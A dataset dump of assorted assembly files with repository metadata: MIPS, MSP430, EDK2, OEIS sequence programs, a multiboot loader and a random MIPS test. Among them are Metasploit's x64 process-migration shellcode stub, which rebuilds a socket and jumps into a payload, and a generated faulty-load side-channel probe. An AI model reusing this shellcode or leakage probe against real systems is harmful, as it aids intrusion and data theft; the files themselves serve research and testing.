content
stringlengths 5
1.04M
| avg_line_length
float64 1.75
12.9k
| max_line_length
int64 2
244k
| alphanum_fraction
float64 0
0.98
| licenses
sequence | repository_name
stringlengths 7
92
| path
stringlengths 3
249
| size
int64 5
1.04M
| lang
stringclasses 2
values |
---|---|---|---|---|---|---|---|---|
# Program to print a string.
.data
msg: .asciiz "Hello world"
.text
main:
la $a0, msg # Loading msg into $a0.
li $v0, 4 # 4 is the print string syscall.
syscall
exit:
li $v0, 10 # Syscall code 10 to exit.
syscall | 19.909091 | 43 | 0.671233 | [
"MIT"
] | BitorqubitT/MIPS-basics | Hello world.asm | 219 | Assembly |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadDr7.Asm
;
; Abstract:
;
; AsmReadDr7 function
;
; Notes:
;
;------------------------------------------------------------------------------
.586p
.model flat,C
.code
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmReadDr7 (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadDr7 PROC
mov eax, dr7
ret
AsmReadDr7 ENDP
END
| 26.731707 | 85 | 0.470803 | [
"BSD-2-Clause"
] | AidenFeng/EDKII | MdePkg/Library/BaseLib/Ia32/ReadDr7.asm | 1,096 | Assembly |
stx $ff
sec
sbc $ff | 6.333333 | 7 | 0.684211 | [
"MIT"
] | jbrandwood/kickc | src/main/fragment/mos6502-common/vbuaa=vbuaa_minus_vbuxx.asm | 19 | Assembly |
; A244432: E.g.f.: exp( Sum_{n>=1} Pell(n)*x^n/n ), where Pell(n) = A000129(n).
; Submitted by Christian Krause
; 1,1,3,17,137,1437,18547,284221,5042289,101635289,2294115299,57323597289,1570795420537,46836600355573,1509632295204243,52303597825637333,1938434314587648353,76521195859545355569,3205495988651927796931,142018837513142207290561,6635014291131505390882281,326002744191385759796586701,16804824002504819935423786163,906830347929137118120093433197,51124267297936883438968827158737,3005659449655790977711764105902857,183963192311207469926681265696287907,11703727834770260041626753750740116121
mov $3,1
lpb $0
sub $0,1
add $3,$1
mul $1,$0
mov $2,$3
mul $2,$0
add $3,$1
mov $1,$2
add $3,$2
lpe
mov $0,$3
| 42.588235 | 485 | 0.80663 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/244/A244432.asm | 724 | Assembly |
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;******************************************************************************
; MSP430F54xA Demo - 8x8 Unsigned Multiply Accumulate
;
; Description: Hardware multiplier is used to multiply two numbers.
; The calculation is automatically initiated after the second operand is
; loaded. A second multiply accumulate operation is performed after that.
; Results are stored in RESLO and RESHI. SUMEXT contains the carry of the
; result.
;
; MSP430F5438A
; -----------------
; /|\| |
; | | |
; --|RST |
; | |
; | |
;
; D. Dang
; Texas Instruments Inc.
; December 2009
; Built with CCS Version: 4.0.2
;******************************************************************************
.cdecls C,LIST,"msp430.h"
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
;-------------------------------------------------------------------------------
.global _main
.text ; Assemble to Flash memory
;-------------------------------------------------------------------------------
_main
RESET mov.w #0x5C00,SP ; Initialize stackpointer
mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT
mov.w #0x12,&MPY ; Load first operand -unsigned mult
mov.w #0x56,&OP2 ; Load second operand
mov.w #0x12,&MAC ; Load first operand -unsigned MAC
mov.w #0x56,&OP2 ; Load second operand
bis.w #LPM4,SR ; Enter LPM4
nop
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; POR, ext. Reset
.short RESET
.end
| 47.914894 | 80 | 0.543517 | [
"Apache-2.0"
] | sususweet/MSP430F541x-MSP430F543x-Code-Examples | MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_MPY_6.asm | 4,504 | Assembly |
; A329513: G.f. = (1+x)^2*(1+2*x^2-x^3)/(1-x).
; 1,3,6,9,9,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8
mul $0,2
mov $1,4
add $1,$0
mul $0,7
trn $1,10
add $1,5
div $0,$1
mov $1,$0
add $1,1
| 23.461538 | 171 | 0.495082 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/329/A329513.asm | 305 | Assembly |
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, 2003, XP
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 314 bytes
; Build: >build.py migrate
;-----------------------------------------------------------------------------;
; typedef struct MigrateContext
; {
; union
; {
; HANDLE hEvent;
; BYTE bPadding1[8];
; } e;
; union
; {
; LPVOID lpPayload;
; BYTE bPadding2[8];
; } p;
; WSAPROTOCOL_INFO info;
; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
mov rsi, rcx ; RCX is a pointer to our migration stub context
sub rsp, 0x2000 ; Alloc some space on stack
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
; setup the structures we need on the stack...
mov r14, 'ws2_32' ;
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov rcx, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
sub rsp, 0x28 ; alloc space for function calls
; perform the call to LoadLibraryA...
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push byte 2 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 2, &WSAData );
; perform the call to WSASocketA...
xor r8, r8 ; we do not specify a protocol
push r8 ; push zero for the flags param.
push r8 ; push null for reserved parameter
lea r9, [rsi+16] ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
push byte 1 ;
pop rdx ; SOCK_STREAM == 1
push byte 2 ;
pop rcx ; AF_INET == 2
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to SetEvent...
mov rcx, qword [rsi] ; Set the first parameter to the migrate event
mov r10d, 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )
call rbp ; SetEvent( hEvent );
; perform the call to the payload...
call qword [rsi+8] ; Call the payload...
| 43.535211 | 109 | 0.556131 | [
"Apache-2.0",
"BSD-3-Clause"
] | fozavci/metasploit-framework-with-viproy | external/source/shellcode/windows/x64/src/migrate/migrate.asm | 3,091 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x155e5, %r8
nop
nop
nop
nop
dec %rbp
movw $0x6162, (%r8)
and %rcx, %rcx
lea addresses_WT_ht+0x158c5, %rdx
clflush (%rdx)
nop
xor $15348, %r9
movl $0x61626364, (%rdx)
nop
and $47522, %rcx
lea addresses_WC_ht+0x2d11, %rbp
cmp %rbx, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
vmovups %ymm2, (%rbp)
nop
nop
nop
nop
cmp $58706, %r8
lea addresses_WT_ht+0x50a5, %r8
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov (%r8), %rbx
add %rdi, %rdi
lea addresses_normal_ht+0xb1e5, %rsi
lea addresses_normal_ht+0x1d2e5, %rdi
nop
nop
cmp $42034, %r8
mov $4, %rcx
rep movsq
nop
nop
nop
nop
add %r9, %r9
lea addresses_UC_ht+0xa1e5, %rdx
clflush (%rdx)
nop
nop
nop
nop
and %r8, %r8
and $0xffffffffffffffc0, %rdx
movaps (%rdx), %xmm3
vpextrq $1, %xmm3, %rbx
nop
nop
nop
nop
nop
cmp $63212, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
// Load
mov $0xd75, %rcx
nop
nop
add $63298, %rax
mov (%rcx), %r8w
nop
nop
nop
nop
nop
xor %rcx, %rcx
// Faulty Load
mov $0x1c6bde00000009e5, %rbx
nop
nop
and %rdi, %rdi
movups (%rbx), %xmm6
vpextrq $0, %xmm6, %rbp
lea oracles, %r8
and $0xff, %rbp
shlq $12, %rbp
mov (%r8,%rbp,1), %rbp
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.769231 | 2,999 | 0.657464 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1100.asm | 5,687 | Assembly |
MAGIC equ 0x1badb002
FLAGS equ (1 << 0 | 1 << 1)
CHECKSUM equ -(MAGIC + FLAGS)
section .multiboot
dd MAGIC
dd FLAGS
dd CHECKSUM
section .text
extern kernel_main
global loader
loader:
cli
mov esp, kernel_stack
push eax
push ebx
call kernel_main
global _stop
_stop:
hlt
jmp _stop
section .bss
resb 2*1024* 1024
kernel_stack:
| 10.685714 | 29 | 0.665775 | [
"BSD-3-Clause"
] | chillancezen/Zelda | x86/multiboot.asm | 374 | Assembly |
Name: zel_exst.asm
Type: file
Size: 350818
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: 07C8052B4AF76D590B4FDA58C32F601F4B6D6307
Description: null
| 21 | 47 | 0.816327 | [
"MIT"
] | prismotizm/gigaleak | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/zel_exst.asm | 147 | Assembly |
ori $1, $0, 7
ori $2, $0, 11
ori $3, $0, 3
ori $4, $0, 3
sw $4, 0($0)
sw $2, 4($0)
sw $3, 8($0)
sw $2, 12($0)
sw $2, 16($0)
sw $4, 20($0)
sw $4, 24($0)
sw $2, 28($0)
sw $3, 32($0)
sw $1, 36($0)
sw $1, 40($0)
sw $4, 44($0)
sw $1, 48($0)
sw $2, 52($0)
sw $3, 56($0)
sw $4, 60($0)
sw $1, 64($0)
sw $1, 68($0)
sw $3, 72($0)
sw $4, 76($0)
sw $2, 80($0)
sw $1, 84($0)
sw $4, 88($0)
sw $2, 92($0)
sw $2, 96($0)
sw $2, 100($0)
sw $4, 104($0)
sw $2, 108($0)
sw $3, 112($0)
sw $4, 116($0)
sw $3, 120($0)
sw $1, 124($0)
mflo $1
bgez $2, TAG1
multu $2, $2
lw $4, 0($2)
TAG1:
beq $4, $4, TAG2
sb $4, 0($4)
bgez $4, TAG2
srl $1, $4, 9
TAG2:
lui $2, 12
ori $4, $1, 5
sb $4, 0($4)
mtlo $2
TAG3:
lb $1, 0($4)
mtlo $1
lb $4, 0($1)
bltz $4, TAG4
TAG4:
mflo $2
mult $4, $4
bgez $2, TAG5
srl $1, $4, 11
TAG5:
beq $1, $1, TAG6
lh $1, 0($1)
add $4, $1, $1
mtlo $1
TAG6:
mthi $4
bne $4, $4, TAG7
mtlo $4
andi $2, $4, 15
TAG7:
beq $2, $2, TAG8
mtlo $2
mthi $2
srlv $3, $2, $2
TAG8:
sllv $4, $3, $3
mflo $1
multu $3, $3
mtlo $4
TAG9:
divu $1, $1
mtlo $1
blez $1, TAG10
mfhi $4
TAG10:
addiu $2, $4, 5
lbu $3, 0($2)
lui $4, 1
addu $2, $4, $4
TAG11:
bgtz $2, TAG12
sltu $3, $2, $2
div $3, $2
sll $2, $3, 10
TAG12:
mflo $2
addiu $1, $2, 0
or $3, $2, $2
bgez $3, TAG13
TAG13:
lui $3, 15
sll $0, $0, 0
sll $0, $0, 0
mtlo $3
TAG14:
subu $1, $3, $3
bgez $1, TAG15
sll $0, $0, 0
lui $4, 6
TAG15:
mflo $1
subu $1, $4, $1
lui $1, 3
mflo $1
TAG16:
lui $4, 10
divu $4, $1
multu $1, $4
mflo $1
TAG17:
sh $1, 0($1)
bne $1, $1, TAG18
mtlo $1
mtlo $1
TAG18:
multu $1, $1
andi $4, $1, 7
mflo $4
mthi $4
TAG19:
addi $1, $4, 4
bne $4, $4, TAG20
sltiu $4, $4, 11
lbu $4, 0($1)
TAG20:
divu $4, $4
div $4, $4
lbu $4, 0($4)
lui $3, 5
TAG21:
mfhi $2
sll $0, $0, 0
slt $4, $2, $3
sll $0, $0, 0
TAG22:
mtlo $4
mthi $4
bltz $4, TAG23
sb $4, 0($4)
TAG23:
ori $3, $4, 12
blez $4, TAG24
lbu $3, 0($3)
lui $2, 12
TAG24:
sll $0, $0, 0
sb $2, 0($3)
bltz $2, TAG25
sll $0, $0, 0
TAG25:
lui $1, 6
blez $4, TAG26
srlv $1, $1, $4
multu $1, $1
TAG26:
addu $1, $1, $1
multu $1, $1
addiu $2, $1, 3
bltz $1, TAG27
TAG27:
mfhi $4
sll $0, $0, 0
subu $2, $2, $2
sw $2, 0($2)
TAG28:
lui $2, 12
mult $2, $2
sll $0, $0, 0
beq $2, $2, TAG29
TAG29:
addiu $2, $2, 6
slti $2, $2, 3
lhu $3, 0($2)
bgez $2, TAG30
TAG30:
addu $1, $3, $3
beq $1, $3, TAG31
sb $3, 0($3)
sh $3, 0($1)
TAG31:
lui $2, 9
lw $4, 0($1)
sw $2, 0($4)
srlv $1, $2, $1
TAG32:
mthi $1
bne $1, $1, TAG33
lui $2, 2
sra $3, $1, 8
TAG33:
mthi $3
beq $3, $3, TAG34
lui $1, 5
mfhi $3
TAG34:
mthi $3
mthi $3
addiu $1, $3, 10
mtlo $3
TAG35:
mtlo $1
or $1, $1, $1
div $1, $1
lui $3, 8
TAG36:
lui $1, 1
sltiu $4, $3, 2
mtlo $4
div $1, $1
TAG37:
lhu $2, 0($4)
lb $2, 0($4)
bne $2, $2, TAG38
lui $3, 3
TAG38:
sltu $3, $3, $3
multu $3, $3
lui $1, 1
lb $4, 0($3)
TAG39:
bne $4, $4, TAG40
lui $4, 4
sll $0, $0, 0
sll $0, $0, 0
TAG40:
lui $4, 4
mtlo $4
mult $4, $4
bltz $4, TAG41
TAG41:
sll $0, $0, 0
mflo $1
srl $4, $1, 3
blez $4, TAG42
TAG42:
sh $4, 0($4)
slti $1, $4, 9
mtlo $1
lb $2, 0($4)
TAG43:
mtlo $2
lbu $1, 0($2)
lui $3, 15
bltz $3, TAG44
TAG44:
mfhi $4
sb $4, 0($4)
lui $1, 12
mfhi $1
TAG45:
mfhi $4
mfhi $1
beq $1, $1, TAG46
mthi $1
TAG46:
mtlo $1
addu $3, $1, $1
mtlo $3
sb $1, 0($3)
TAG47:
mtlo $3
mfhi $3
mflo $3
slt $3, $3, $3
TAG48:
sh $3, 0($3)
blez $3, TAG49
sh $3, 0($3)
mtlo $3
TAG49:
mtlo $3
mthi $3
sltiu $1, $3, 6
blez $1, TAG50
TAG50:
lbu $3, 0($1)
multu $1, $3
beq $3, $3, TAG51
mfhi $2
TAG51:
ori $2, $2, 4
bgtz $2, TAG52
lui $2, 14
and $1, $2, $2
TAG52:
mtlo $1
bne $1, $1, TAG53
divu $1, $1
beq $1, $1, TAG53
TAG53:
lb $2, 0($1)
sra $4, $2, 8
beq $1, $2, TAG54
div $1, $1
TAG54:
addiu $4, $4, 13
bltz $4, TAG55
mtlo $4
mflo $4
TAG55:
bgez $4, TAG56
mthi $4
mthi $4
sw $4, 0($4)
TAG56:
mflo $3
sb $4, 0($4)
slti $3, $4, 9
addu $2, $3, $4
TAG57:
bgtz $2, TAG58
mtlo $2
div $2, $2
lui $3, 8
TAG58:
mtlo $3
and $2, $3, $3
lui $1, 5
lui $4, 4
TAG59:
mfhi $4
subu $3, $4, $4
multu $4, $4
bgez $3, TAG60
TAG60:
mfhi $1
mfhi $1
lui $1, 9
mtlo $1
TAG61:
subu $4, $1, $1
lb $2, 0($4)
sll $0, $0, 0
bne $2, $2, TAG62
TAG62:
mult $2, $2
mflo $2
subu $1, $2, $2
lbu $4, 0($2)
TAG63:
lw $3, 0($4)
sll $0, $0, 0
ori $1, $3, 11
div $4, $1
TAG64:
mflo $4
beq $1, $1, TAG65
mflo $1
srlv $2, $1, $1
TAG65:
mthi $2
addiu $3, $2, 6
bne $3, $2, TAG66
mthi $2
TAG66:
mfhi $4
srl $4, $3, 12
xor $1, $4, $4
lui $4, 15
TAG67:
xori $2, $4, 12
lui $3, 7
mtlo $2
sll $0, $0, 0
TAG68:
sll $0, $0, 0
xor $1, $3, $3
mthi $3
div $3, $3
TAG69:
srlv $3, $1, $1
sw $3, 0($1)
srl $1, $3, 10
lui $2, 10
TAG70:
mflo $2
divu $2, $2
mthi $2
bne $2, $2, TAG71
TAG71:
srlv $2, $2, $2
beq $2, $2, TAG72
mflo $4
divu $2, $4
TAG72:
and $4, $4, $4
lui $4, 0
addu $4, $4, $4
mflo $1
TAG73:
sb $1, 0($1)
ori $3, $1, 6
bltz $3, TAG74
lui $1, 8
TAG74:
div $1, $1
mfhi $3
bne $1, $1, TAG75
sll $0, $0, 0
TAG75:
lui $4, 5
lui $1, 0
lui $1, 13
lui $3, 9
TAG76:
lui $3, 11
mult $3, $3
mflo $3
lui $3, 4
TAG77:
beq $3, $3, TAG78
sll $0, $0, 0
ori $4, $3, 12
lui $1, 7
TAG78:
sll $0, $0, 0
ori $4, $1, 3
mult $4, $1
addiu $4, $4, 6
TAG79:
bgez $4, TAG80
sll $0, $0, 0
sb $4, 0($1)
bgtz $1, TAG80
TAG80:
sll $0, $0, 0
mthi $1
lui $4, 0
mtlo $4
TAG81:
mult $4, $4
mult $4, $4
lhu $3, 0($4)
slti $1, $3, 6
TAG82:
lui $3, 1
sh $1, 0($1)
mflo $1
sll $4, $1, 13
TAG83:
lui $3, 5
mtlo $4
sb $4, 0($4)
addiu $2, $4, 2
TAG84:
mthi $2
andi $2, $2, 5
lb $1, 0($2)
slti $2, $2, 10
TAG85:
sb $2, 0($2)
mflo $3
blez $3, TAG86
mult $2, $3
TAG86:
beq $3, $3, TAG87
lbu $3, 0($3)
lbu $2, 0($3)
blez $2, TAG87
TAG87:
lui $4, 6
sll $0, $0, 0
bgtz $4, TAG88
sra $1, $3, 10
TAG88:
or $1, $1, $1
or $4, $1, $1
ori $2, $1, 0
mfhi $1
TAG89:
multu $1, $1
mflo $1
mfhi $4
addu $2, $1, $1
TAG90:
slti $4, $2, 8
sb $4, 0($4)
andi $4, $4, 6
lui $2, 10
TAG91:
mthi $2
bne $2, $2, TAG92
sll $0, $0, 0
beq $2, $2, TAG92
TAG92:
multu $2, $2
addiu $2, $2, 3
lui $1, 5
bgtz $2, TAG93
TAG93:
mthi $1
lui $3, 1
beq $1, $3, TAG94
multu $1, $3
TAG94:
sll $0, $0, 0
bgez $3, TAG95
lh $3, 0($4)
mtlo $3
TAG95:
bne $3, $3, TAG96
mthi $3
mfhi $2
mfhi $1
TAG96:
xori $1, $1, 8
addiu $1, $1, 0
mflo $1
mtlo $1
TAG97:
bgez $1, TAG98
mthi $1
sb $1, 0($1)
bgez $1, TAG98
TAG98:
multu $1, $1
lui $1, 8
mult $1, $1
mult $1, $1
TAG99:
slt $3, $1, $1
mfhi $2
srl $4, $3, 10
srl $1, $1, 2
TAG100:
sll $0, $0, 0
lui $2, 14
multu $1, $1
sll $0, $0, 0
TAG101:
mtlo $1
srlv $4, $1, $1
beq $4, $4, TAG102
multu $4, $1
TAG102:
lui $2, 5
sll $0, $0, 0
addu $4, $2, $2
beq $2, $4, TAG103
TAG103:
sltiu $3, $4, 13
mthi $4
lui $4, 4
blez $4, TAG104
TAG104:
divu $4, $4
mflo $2
sb $2, 0($2)
lui $2, 14
TAG105:
lui $1, 3
lui $3, 9
mfhi $4
mthi $3
TAG106:
and $4, $4, $4
lh $3, 0($4)
or $3, $4, $4
lui $3, 9
TAG107:
sll $0, $0, 0
beq $3, $3, TAG108
sll $3, $3, 13
addiu $3, $3, 6
TAG108:
div $3, $3
mtlo $3
bne $3, $3, TAG109
lui $4, 13
TAG109:
sltiu $1, $4, 12
bltz $1, TAG110
sh $1, 0($1)
lh $3, 0($1)
TAG110:
sh $3, 0($3)
bltz $3, TAG111
mfhi $4
bgez $3, TAG111
TAG111:
mthi $4
mult $4, $4
bgtz $4, TAG112
sb $4, 0($4)
TAG112:
bltz $4, TAG113
srl $4, $4, 15
lhu $2, 0($4)
addu $3, $4, $4
TAG113:
mfhi $2
lui $3, 0
mfhi $1
mthi $1
TAG114:
mthi $1
lui $1, 2
sll $0, $0, 0
mflo $2
TAG115:
bltz $2, TAG116
mflo $4
mthi $2
mfhi $1
TAG116:
mtlo $1
sllv $1, $1, $1
mfhi $2
mtlo $2
TAG117:
mthi $2
sub $2, $2, $2
sw $2, 0($2)
lui $3, 11
TAG118:
mult $3, $3
multu $3, $3
multu $3, $3
subu $4, $3, $3
TAG119:
bltz $4, TAG120
mthi $4
lui $3, 6
mthi $3
TAG120:
lui $2, 9
mfhi $2
mflo $2
sltiu $1, $2, 15
TAG121:
sra $2, $1, 11
sh $2, 0($2)
xori $2, $2, 12
sb $1, 0($1)
TAG122:
divu $2, $2
mthi $2
mthi $2
mtlo $2
TAG123:
sh $2, 0($2)
sltiu $1, $2, 3
lb $1, 0($2)
subu $3, $2, $2
TAG124:
multu $3, $3
mthi $3
mflo $4
lbu $3, 0($3)
TAG125:
sh $3, 0($3)
bgez $3, TAG126
